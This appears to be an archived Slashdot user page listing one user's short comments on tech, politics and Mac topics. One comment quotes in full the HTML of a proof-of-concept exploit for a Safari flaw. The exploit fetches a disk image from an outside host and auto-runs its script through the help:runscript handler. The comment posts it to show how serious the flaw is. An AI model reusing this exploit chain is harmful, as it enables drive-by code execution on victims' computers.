Slashdot Mirror


User: edalytical

edalytical's activity in the archive.

Stories
0
Comments
614
First seen
Last seen
Profile
(view on slashdot.org)

Comments · 614

  1. Re:Modem router? on Modem Success Stories With Linux? · · Score: 1
  2. 24 hours! on Where Have All the Venture Capitalists Gone? · · Score: 0

    Why don't you tell the capitalist you can do it in 24 hours?

  3. Re:Summary of Slashdot comments on EIOffice 2004 vs. MS Office 2003 · · Score: 3, Insightful

    Yeah, like .rtf, that would be cool if the all used that.

  4. Re:XBox 2- Not "PC Compatible" on Xbox Next to Include PC/Console Hybrid Option? · · Score: 2, Interesting
    confirmed to be shipping with IBM's Power PC chip

    Can you source this? I have only read this once and it sounded like nothing more than a rumor to me.

  5. Re:Gentoo for PPC on Symptoms of Mac OS X Hack? · · Score: 1

    I haven't tied it myself.

  6. Re:Italian law? on Italy Approves Jail for P2P Users · · Score: 1

    As far as I know it wasn't an advertisement, more likely some kind of deal between the paper and the county. The column in which the paper runs the names of people going to jail looks like a regular column. I think it's more a form of mild public humiliation. So I'm leaning more towards punishment. Though, the official justification may be entirely different.

  7. Re:Italian law? on Italy Approves Jail for P2P Users · · Score: 1

    I can confirm this the Mountain Democrat in my old town Placerville, CA does this. One of my cousins was featured in it for selling drugs.

  8. Re:Gentoo for PPC on Symptoms of Mac OS X Hack? · · Score: 3, Informative
    if there isn't a Knoppix live cd for PPC

    You mean this.

  9. COM on Mac too on Apple Releases iTunes SDK for Windows · · Score: 4, Informative

    Or if you're curious about COM on Mac OS X:
    Component Object Model (COM) Development on Mac OS X

  10. Re:Is this worth a story? on Safari Falls Victim to Remote Code Exploit · · Score: 5, Informative

    Oh, come on man. This is a big deal, and the user doesn't have to do anything special -- just visit a web page -- after that it is all automatic.

    The prof of concept link in the article was very simple:

    The linked file 0x04_test.html:
    <html>
    <head><title>Safari runscript remote execution: Proof of concept</title></head>
    <frameset cols="1%, 99%">
    <frame src="0x04_get.html">
    <frame src="0x04_exec.html">
    </frameset>
    </html>

    0x04_get.html:
    <html>
    <head>
    <meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script. dmg">
    </head>
    </html>

    0x04_exec.html:
    <html>
    <head>
    <meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resources /English.lproj/shrd/OpnApp.scpt string='Volumes:0x04_script:0x04_script.term'">
    </head>
    <body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
    <br>The script will execute automatically afterwards.
    <br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
    </pre></body>
    </html>

    Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.

    Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:

    "You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" &gt; owned.txt ; open owned.txt

    Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.

    All html source courtesy of curl.

  11. Re:Sigh... on A Worm's Worm · · Score: 1

    Ha, my brother and his friends actually used to do something called Sassafras, kind of similar. Anyway, Sassafras I believe is derived from a root and is hallucinogenic.

  12. Re:oops on The Logic Behind Metric Paper Sizes · · Score: 3, Insightful

    Yes, but skinnier is easier to read. That's why newspapers are split into columns. It's easier to move to the next line if your eyes don't have to trace back 8 1/2 inches. Although, I don't think A4 is skinny enough to make a difference.

  13. Re:Awesome on Anti-HIV Virus Developed · · Score: 3, Funny

    Well, that settles it, you can fight fire with fire.

  14. Re:Your civil rights called... on Justice Department Censors ACLU Web Site · · Score: 1
    No, I don't think it's that relevant. Now I'm not trying to be a troll, but we can sit around and debate useless things like whether or not Kerry is the best man for the job or what a mess we have gotten ourselves into with the "anyone but bush" policy. Or we can live in the real world where no mater what we only have two options elect Bush or elect Kerry. Which gives me no option at all, I have to vote for Kerry, regardless of what I think about him and I don't don't think very highly of him at all.

    I guess I could not vote, but what good would that do. There is an upside to electing Kerry, it sends a message, a message that says if you run the country like Bush you wont get a second term. If that's all that voting gets me this November then so be it.

  15. Re:Your civil rights called... on Justice Department Censors ACLU Web Site · · Score: 5, Insightful

    Just think what they (the Bush regime) could accomplish with another 4 years. Scary thought isn't it.

  16. Re:Why not use it natively? on PowerPC Architecture Emulator Unleashed · · Score: 1
    If you didn't have a PowerPC based computer it would be good for testing.

    But, what I want to know is how well and how fast does Mac OS X run on it. I would download it and test it out myself, but I'm in the middle of moving and don't have the time-- maybe in a week or two.

  17. PDB.pdf on "Decryption" of Bush Memo · · Score: 1

    Why read a description when you can have a PDF of the August 6, 2001 PDB.

  18. Re:/me ponders... on Spammer Sues SpamCop · · Score: 1

    Silly me. I thought it said load not reload. Oops!

  19. Re:/me ponders... on Spammer Sues SpamCop · · Score: 1

    32 - (2 * 12) = pistol-whip remaining 8 victims.

  20. Re:Flight simulator on A DIMM Future for RAM Bundles · · Score: 1

    You sir are correct.

  21. Re:why more ram anyway? on A DIMM Future for RAM Bundles · · Score: 4, Funny

    How else are you going to fit a flight simulator in?

  22. Re:Uses of history-aware search engines on Amazon Search Bar Will Track Your Browsing · · Score: 1

    I could serve it of my own computer too.

  23. Re:Uses of history-aware search engines on Amazon Search Bar Will Track Your Browsing · · Score: 1, Insightful

    I see no reason 1 through 4 needs to store information on a server, they can all be done on the client's side.

  24. Re:Why so desparate to have TV? on National TV Turn Off Week · · Score: 1, Interesting
    It's not that TV isn't entertaining. People that get bored lack creativity, very much like children who haven't learned what to do with free time yet.

    Watching TV perpetuates the lack of creativity after all it is a very passive pastime. People that lack creativity don't often think for themselves, sometime that's a good thing, but it can also be dangeros.

    Sure, I spend almost all day in front of my computers, but it is in no way the same. The only similarity between the two is the TV screen and the monitor screen, that's quite superficial. I'm a shareware developer so my time in front of the computer consist of designing interfaces and writing code. I consider this highly creative work. Believe me you can't passively create software.

    I enjoy reading news, I prefer a printed newspaper to Slashdot, but I enjoy the interaction and discussion here, also not passive.

    By the way I don't own a TV, I will never watch one, and no I don't use drugs. Even if your statement was true there wouldn't be anything ironic about it.

  25. Re:Won't grandma be surprised on GNOME for Grandma · · Score: 1

    Yes, but Fitt's law states that it's faster to move your cursor to the global menu bar because your target is easier to reach. Basically you do not have to try to stop the cursor in a small space and that speeds things up. On the Mac all you have to do is make an upward motion and the cursor stops at the top of the screen exactly where you want it.